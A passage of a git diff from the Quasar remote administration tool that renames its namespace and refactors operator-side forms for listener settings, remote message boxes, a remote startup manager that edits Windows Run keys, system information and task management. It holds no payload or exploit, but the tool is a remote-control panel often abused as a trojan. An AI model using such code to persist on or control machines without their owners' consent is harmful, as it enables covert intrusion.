} - if (password.Length < 3) - { - MessageBox.Show("Please enter a secure password with more than 3 characters.", - "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning); - return; - } - if (btnListen.Text == "Start listening" && !_listenServer.Listening) { try { - AES.SetDefaultKey(password); - - if (chkUseUpnp.Checked) - { - if (!UPnP.IsDeviceFound) - { - MessageBox.Show("No available UPnP device found!", "No UPnP device", MessageBoxButtons.OK, - MessageBoxIcon.Information); - } - else - { - int outPort; - UPnP.CreatePortMap(port, out outPort); - if (port != outPort) - { - MessageBox.Show("Creating a port map with the UPnP device failed!\nPlease check if your device allows to create new port maps.", "Creating port map failed", MessageBoxButtons.OK, - MessageBoxIcon.Warning); - } - } - } if(chkNoIPIntegration.Checked) NoIpUpdater.Start(); - _listenServer.Listen(port); - } - finally - { - btnListen.Text = "Stop listening"; - ncPort.Enabled = false; - txtPassword.Enabled = false; + _listenServer.Listen(port, chkIPv6Support.Checked, chkUseUpnp.Checked); + ToggleListenerSettings(false); } - } - else if (btnListen.Text == "Stop listening" && _listenServer.Listening) - { - try + catch (SocketException ex) { + if (ex.ErrorCode == 10048) + { + MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } _listenServer.Disconnect(); - UPnP.DeletePortMap(port); } - finally + catch (Exception) { - btnListen.Text = "Start listening"; - ncPort.Enabled = true; - txtPassword.Enabled = true; + _listenServer.Disconnect(); } } + else if (btnListen.Text == "Stop listening" && _listenServer.Listening) + { + _listenServer.Disconnect(); + ToggleListenerSettings(true); + } } private void btnSave_Click(object sender, EventArgs e) { ushort port = GetPortSafe(); - string password = txtPassword.Text; if (port == 0) { @@ -132,19 +99,10 @@ private void btnSave_Click(object sender, EventArgs e) return; } - if (password.Length < 3) - { - MessageBox.Show("Please enter a secure password with more than 3 characters.", - "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning); - return; - } - Settings.ListenPort = port; + Settings.IPv6Support = chkIPv6Support.Checked; Settings.AutoListen = chkAutoListen.Checked; Settings.ShowPopup = chkPopup.Checked; - if (password != Settings.Password) - AES.SetDefaultKey(password); - Settings.Password = password; Settings.UseUPnP = chkUseUpnp.Checked; Settings.ShowToolTip = chkShowTooltip.Checked; Settings.EnableNoIPUpdater = chkNoIPIntegration.Checked; @@ -166,6 +124,14 @@ private void chkNoIPIntegration_CheckedChanged(object sender, EventArgs e) NoIPControlHandler(chkNoIPIntegration.Checked); } + private void ToggleListenerSettings(bool enabled) + { + btnListen.Text = enabled ? "Start listening" : "Stop listening"; + ncPort.Enabled = enabled; + chkIPv6Support.Enabled = enabled; + chkUseUpnp.Enabled = enabled; + } + private void NoIPControlHandler(bool enable) { lblHost.Enabled = enable; @@ -187,4 +153,4 @@ private void chkShowPassword_CheckedChanged(object sender, EventArgs e) ShowPassword(chkShowPassword.Checked); } } -} \ No newline at end of file +} diff --git a/Server/Forms/FrmShowMessagebox.resx b/Quasar.Server/Forms/FrmSettings.resx similarity index 100% rename from Server/Forms/FrmShowMessagebox.resx rename to Quasar.Server/Forms/FrmSettings.resx diff --git a/Server/Forms/FrmShowMessagebox.Designer.cs b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs similarity index 99% rename from Server/Forms/FrmShowMessagebox.Designer.cs rename to Quasar.Server/Forms/FrmShowMessagebox.Designer.cs index 7e75a5111..c24fe64fd 100644 --- a/Server/Forms/FrmShowMessagebox.Designer.cs +++ b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmShowMessagebox { @@ -154,8 +154,8 @@ private void InitializeComponent() // // FrmShowMessagebox // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(349, 199); this.Controls.Add(this.btnSend); this.Controls.Add(this.btnPreview); diff --git a/Server/Forms/FrmShowMessagebox.cs b/Quasar.Server/Forms/FrmShowMessagebox.cs similarity index 85% rename from Server/Forms/FrmShowMessagebox.cs rename to Quasar.Server/Forms/FrmShowMessagebox.cs index e44135fcf..557ad33ff 100644 --- a/Server/Forms/FrmShowMessagebox.cs +++ b/Quasar.Server/Forms/FrmShowMessagebox.cs @@ -1,15 +1,18 @@ using System; using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Utilities; +using Quasar.Server.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmShowMessagebox : Form { private readonly int _selectedClients; + public string MsgBoxCaption { get; set; } + public string MsgBoxText { get; set; } + public string MsgBoxButton { get; set; } + public string MsgBoxIcon { get; set; } + public FrmShowMessagebox(int selected) { _selectedClients = selected; @@ -39,10 +42,10 @@ private void btnPreview_Click(object sender, EventArgs e) private void btnSend_Click(object sender, EventArgs e) { - Messagebox.Caption = txtCaption.Text; - Messagebox.Text = txtText.Text; - Messagebox.Button = GetMessageBoxButton(cmbMsgButtons.SelectedIndex); - Messagebox.Icon = GetMessageBoxIcon(cmbMsgButtons.SelectedIndex); + MsgBoxCaption = txtCaption.Text; + MsgBoxText = txtText.Text; + MsgBoxButton = GetMessageBoxButton(cmbMsgButtons.SelectedIndex); + MsgBoxIcon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex); this.DialogResult = DialogResult.OK; this.Close(); diff --git a/Server/Forms/FrmTermsOfUse.resx b/Quasar.Server/Forms/FrmShowMessagebox.resx similarity index 100% rename from Server/Forms/FrmTermsOfUse.resx rename to Quasar.Server/Forms/FrmShowMessagebox.resx diff --git a/Server/Forms/FrmAddToAutostart.Designer.cs b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs similarity index 98% rename from Server/Forms/FrmAddToAutostart.Designer.cs rename to Quasar.Server/Forms/FrmStartupAdd.Designer.cs index 03f61343c..ab948391f 100644 --- a/Server/Forms/FrmAddToAutostart.Designer.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs @@ -1,6 +1,6 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { - partial class FrmAddToAutostart + partial class FrmStartupAdd { /// /// Required designer variable. @@ -29,7 +29,7 @@ protected override void Dispose(bool disposing) private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAddToAutostart)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupAdd)); this.groupAutostartItem = new System.Windows.Forms.GroupBox(); this.lblType = new System.Windows.Forms.Label(); this.cmbType = new System.Windows.Forms.ComboBox(); @@ -138,8 +138,8 @@ private void InitializeComponent() // FrmAddToAutostart // this.AcceptButton = this.btnAdd; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.CancelButton = this.btnCancel; this.ClientSize = new System.Drawing.Size(677, 158); this.Controls.Add(this.btnCancel); diff --git a/Server/Forms/FrmAddToAutostart.cs b/Quasar.Server/Forms/FrmStartupAdd.cs similarity index 62% rename from Server/Forms/FrmAddToAutostart.cs rename to Quasar.Server/Forms/FrmStartupAdd.cs index d01219c1c..032be4310 100644 --- a/Server/Forms/FrmAddToAutostart.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.cs @@ -1,21 +1,23 @@ -using System; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Models; +using System; using System.IO; using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Utilities; -namespace xServer.Forms +namespace Quasar.Server.Forms { - public partial class FrmAddToAutostart : Form + public partial class FrmStartupAdd : Form { - public FrmAddToAutostart() + public StartupItem StartupItem { get; set; } + + public FrmStartupAdd() { InitializeComponent(); AddTypes(); } - public FrmAddToAutostart(string startupPath) + public FrmStartupAdd(string startupPath) { InitializeComponent(); AddTypes(); @@ -24,23 +26,27 @@ public FrmAddToAutostart(string startupPath) txtPath.Text = startupPath; } + /// + /// Adds all supported startup types to ComboBox groups. + /// + /// + /// Must be in same order as . + /// private void AddTypes() { + // must be in same order as StartupType cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); - cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"); - cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"); cmbType.SelectedIndex = 0; } private void btnAdd_Click(object sender, EventArgs e) { - AutostartItem.Name = txtName.Text; - AutostartItem.Path = txtPath.Text; - AutostartItem.Type = cmbType.SelectedIndex; + StartupItem = new StartupItem + {Name = txtName.Text, Path = txtPath.Text, Type = (StartupType) cmbType.SelectedIndex}; this.DialogResult = DialogResult.OK; this.Close(); @@ -54,13 +60,13 @@ private void btnCancel_Click(object sender, EventArgs e) private void txtName_KeyPress(object sender, KeyPressEventArgs e) { - e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) && + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)); } private void txtPath_KeyPress(object sender, KeyPressEventArgs e) { - e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) && + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)); } } diff --git a/Server/Forms/FrmAddToAutostart.resx b/Quasar.Server/Forms/FrmStartupAdd.resx similarity index 100% rename from Server/Forms/FrmAddToAutostart.resx rename to Quasar.Server/Forms/FrmStartupAdd.resx diff --git a/Server/Forms/FrmStartupManager.Designer.cs b/Quasar.Server/Forms/FrmStartupManager.Designer.cs similarity index 94% rename from Server/Forms/FrmStartupManager.Designer.cs rename to Quasar.Server/Forms/FrmStartupManager.Designer.cs index fea602612..ec9f04674 100644 --- a/Server/Forms/FrmStartupManager.Designer.cs +++ b/Quasar.Server/Forms/FrmStartupManager.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmStartupManager { @@ -33,7 +35,7 @@ private void InitializeComponent() this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.addEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.removeEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.lstStartupItems = new xServer.Controls.AeroListView(); + this.lstStartupItems = new AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip.SuspendLayout(); @@ -49,7 +51,7 @@ private void InitializeComponent() // // addEntryToolStripMenuItem // - this.addEntryToolStripMenuItem.Image = global::xServer.Properties.Resources.application_add; + this.addEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; this.addEntryToolStripMenuItem.Name = "addEntryToolStripMenuItem"; this.addEntryToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.addEntryToolStripMenuItem.Text = "Add Entry"; @@ -57,7 +59,7 @@ private void InitializeComponent() // // removeEntryToolStripMenuItem // - this.removeEntryToolStripMenuItem.Image = global::xServer.Properties.Resources.application_delete; + this.removeEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_delete; this.removeEntryToolStripMenuItem.Name = "removeEntryToolStripMenuItem"; this.removeEntryToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.removeEntryToolStripMenuItem.Text = "Remove Entry"; @@ -93,8 +95,8 @@ private void InitializeComponent() // // FrmStartupManager // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(677, 373); this.Controls.Add(this.lstStartupItems); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs new file mode 100644 index 000000000..905daf7f2 --- /dev/null +++ b/Quasar.Server/Forms/FrmStartupManager.cs @@ -0,0 +1,181 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; + +namespace Quasar.Server.Forms +{ + public partial class FrmStartupManager : Form + { + /// + /// The client which can be used for the startup manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly StartupManagerHandler _startupManagerHandler; + + /// + /// Holds the opened startup manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new startup manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the startup manager form. + /// + /// Returns a new startup manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmStartupManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmStartupManager f = new FrmStartupManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmStartupManager(Client client) + { + _connectClient = client; + _startupManagerHandler = new StartupManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the startup manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _startupManagerHandler.ProgressChanged += StartupItemsChanged; + MessageHandler.Register(_startupManagerHandler); + } + + /// + /// Unregisters the startup manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_startupManagerHandler); + _startupManagerHandler.ProgressChanged -= StartupItemsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmStartupManager_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Startup Manager", _connectClient); + + AddGroups(); + _startupManagerHandler.RefreshStartupItems(); + } + + private void FrmStartupManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + /// + /// Adds all supported startup types as ListView groups. + /// + private void AddGroups() + { + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.LocalMachineRun}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.LocalMachineRunOnce}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.CurrentUserRun}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.CurrentUserRunOnce}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run") + { Tag = StartupType.LocalMachineRunX86 }); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + { Tag = StartupType.LocalMachineRunOnceX86 }); + lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") + {Tag = StartupType.StartMenu}); + } + + /// + /// Called whenever a startup item changed. + /// + /// The message handler which raised the event. + /// The current startup items of the client. + private void StartupItemsChanged(object sender, List startupItems) + { + lstStartupItems.Items.Clear(); + + foreach (var item in startupItems) + { + var i = lstStartupItems.Groups.Cast().First(x => (StartupType)x.Tag == item.Type); + ListViewItem lvi = new ListViewItem(new[] {item.Name, item.Path}) {Group = i, Tag = item}; + lstStartupItems.Items.Add(lvi); + } + } + + private void addEntryToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmStartupAdd()) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _startupManagerHandler.AddStartupItem(frm.StartupItem); + _startupManagerHandler.RefreshStartupItems(); + } + } + } + + private void removeEntryToolStripMenuItem_Click(object sender, EventArgs e) + { + bool modified = false; + + foreach (ListViewItem item in lstStartupItems.SelectedItems) + { + _startupManagerHandler.RemoveStartupItem((StartupItem)item.Tag); + modified = true; + } + + if (modified) + { + _startupManagerHandler.RefreshStartupItems(); + } + } + } +} diff --git a/Server/Forms/FrmSystemInformation.resx b/Quasar.Server/Forms/FrmStartupManager.resx similarity index 100% rename from Server/Forms/FrmSystemInformation.resx rename to Quasar.Server/Forms/FrmStartupManager.resx diff --git a/Server/Forms/FrmSystemInformation.Designer.cs b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs similarity index 96% rename from Server/Forms/FrmSystemInformation.Designer.cs rename to Quasar.Server/Forms/FrmSystemInformation.Designer.cs index 38b8f2177..5683f0ef8 100644 --- a/Server/Forms/FrmSystemInformation.Designer.cs +++ b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmSystemInformation { @@ -32,7 +32,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSystemInformation)); - this.lstSystem = new xServer.Controls.AeroListView(); + this.lstSystem = new AeroListView(); this.hComponent = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -86,7 +86,7 @@ private void InitializeComponent() this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.copyAllToolStripMenuItem, this.copySelectedToolStripMenuItem}); - this.copyToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy; + this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem"; this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; @@ -112,7 +112,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.refreshToolStripMenuItem.Text = "Refresh"; @@ -120,8 +120,8 @@ private void InitializeComponent() // // FrmSystemInformation // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(560, 335); this.Controls.Add(this.lstSystem); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); diff --git a/Quasar.Server/Forms/FrmSystemInformation.cs b/Quasar.Server/Forms/FrmSystemInformation.cs new file mode 100644 index 000000000..91ead4d03 --- /dev/null +++ b/Quasar.Server/Forms/FrmSystemInformation.cs @@ -0,0 +1,179 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Extensions; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; + +namespace Quasar.Server.Forms +{ + public partial class FrmSystemInformation : Form + { + /// + /// The client which can be used for the system information. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly SystemInformationHandler _sysInfoHandler; + + /// + /// Holds the opened system information form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new system information form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the system information form. + /// + /// Returns a new system information form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmSystemInformation CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmSystemInformation f = new FrmSystemInformation(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmSystemInformation(Client client) + { + _connectClient = client; + _sysInfoHandler = new SystemInformationHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the system information message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _sysInfoHandler.ProgressChanged += SystemInformationChanged; + MessageHandler.Register(_sysInfoHandler); + } + + /// + /// Unregisters the system information message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_sysInfoHandler); + _sysInfoHandler.ProgressChanged -= SystemInformationChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmSystemInformation_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient); + _sysInfoHandler.RefreshSystemInformation(); + AddBasicSystemInformation(); + } + + private void FrmSystemInformation_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void SystemInformationChanged(object sender, List> infos) + { + // remove "Loading..." information + lstSystem.Items.RemoveAt(2); + + foreach (var info in infos) + { + var lvi = new ListViewItem(new[] {info.Item1, info.Item2}); + lstSystem.Items.Add(lvi); + } + + lstSystem.AutosizeColumns(); + } + + private void copyAllToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstSystem.Items.Count == 0) return; + + string output = string.Empty; + + foreach (ListViewItem lvi in lstSystem.Items) + { + output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); + output = output.Remove(output.Length - 3); + output = output + "\r\n"; + } + + ClipboardHelper.SetClipboardTextSafe(output); + } + + private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstSystem.SelectedItems.Count == 0) return; + + string output = string.Empty; + + foreach (ListViewItem lvi in lstSystem.SelectedItems) + { + output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); + output = output.Remove(output.Length - 3); + output = output + "\r\n"; + } + + ClipboardHelper.SetClipboardTextSafe(output); + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + lstSystem.Items.Clear(); + _sysInfoHandler.RefreshSystemInformation(); + AddBasicSystemInformation(); + } + + /// + /// Adds basic system information which is already available to the ListView. + /// + private void AddBasicSystemInformation() + { + ListViewItem lvi = + new ListViewItem(new[] {"Operating System", _connectClient.Value.OperatingSystem}); + lstSystem.Items.Add(lvi); + lvi = + new ListViewItem(new[] + { + "Architecture", + (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)" + }); + lstSystem.Items.Add(lvi); + lvi = new ListViewItem(new[] {"", "Getting more information..."}); + lstSystem.Items.Add(lvi); + } + } +} \ No newline at end of file diff --git a/Server/Forms/FrmUploadAndExecute.resx b/Quasar.Server/Forms/FrmSystemInformation.resx similarity index 99% rename from Server/Forms/FrmUploadAndExecute.resx rename to Quasar.Server/Forms/FrmSystemInformation.resx index 2c592595d..b8bc5965a 100644 --- a/Server/Forms/FrmUploadAndExecute.resx +++ b/Quasar.Server/Forms/FrmSystemInformation.resx @@ -117,6 +117,9 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + 17, 17 + diff --git a/Server/Forms/FrmTaskManager.Designer.cs b/Quasar.Server/Forms/FrmTaskManager.Designer.cs similarity index 94% rename from Server/Forms/FrmTaskManager.Designer.cs rename to Quasar.Server/Forms/FrmTaskManager.Designer.cs index fdb07e429..5c5650cc6 100644 --- a/Server/Forms/FrmTaskManager.Designer.cs +++ b/Quasar.Server/Forms/FrmTaskManager.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmTaskManager { @@ -38,7 +38,7 @@ private void InitializeComponent() this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); - this.lstTasks = new xServer.Controls.AeroListView(); + this.lstTasks = new AeroListView(); this.hProcessname = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTitle = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -61,7 +61,7 @@ private void InitializeComponent() // // killProcessToolStripMenuItem // - this.killProcessToolStripMenuItem.Image = global::xServer.Properties.Resources.cancel; + this.killProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem"; this.killProcessToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.killProcessToolStripMenuItem.Text = "Kill Process"; @@ -69,7 +69,7 @@ private void InitializeComponent() // // startProcessToolStripMenuItem // - this.startProcessToolStripMenuItem.Image = global::xServer.Properties.Resources.run; + this.startProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_go; this.startProcessToolStripMenuItem.Name = "startProcessToolStripMenuItem"; this.startProcessToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.startProcessToolStripMenuItem.Text = "Start Process"; @@ -82,7 +82,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.refreshToolStripMenuItem.Text = "Refresh"; @@ -119,6 +119,7 @@ private void InitializeComponent() this.lstTasks.TabIndex = 1; this.lstTasks.UseCompatibleStateImageBehavior = false; this.lstTasks.View = System.Windows.Forms.View.Details; + this.lstTasks.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstTasks_ColumnClick); // // hProcessname // @@ -153,8 +154,8 @@ private void InitializeComponent() // // FrmTaskManager // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(821, 493); this.Controls.Add(this.tableLayoutPanel); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs new file mode 100644 index 000000000..feaef137a --- /dev/null +++ b/Quasar.Server/Forms/FrmTaskManager.cs @@ -0,0 +1,166 @@ +using 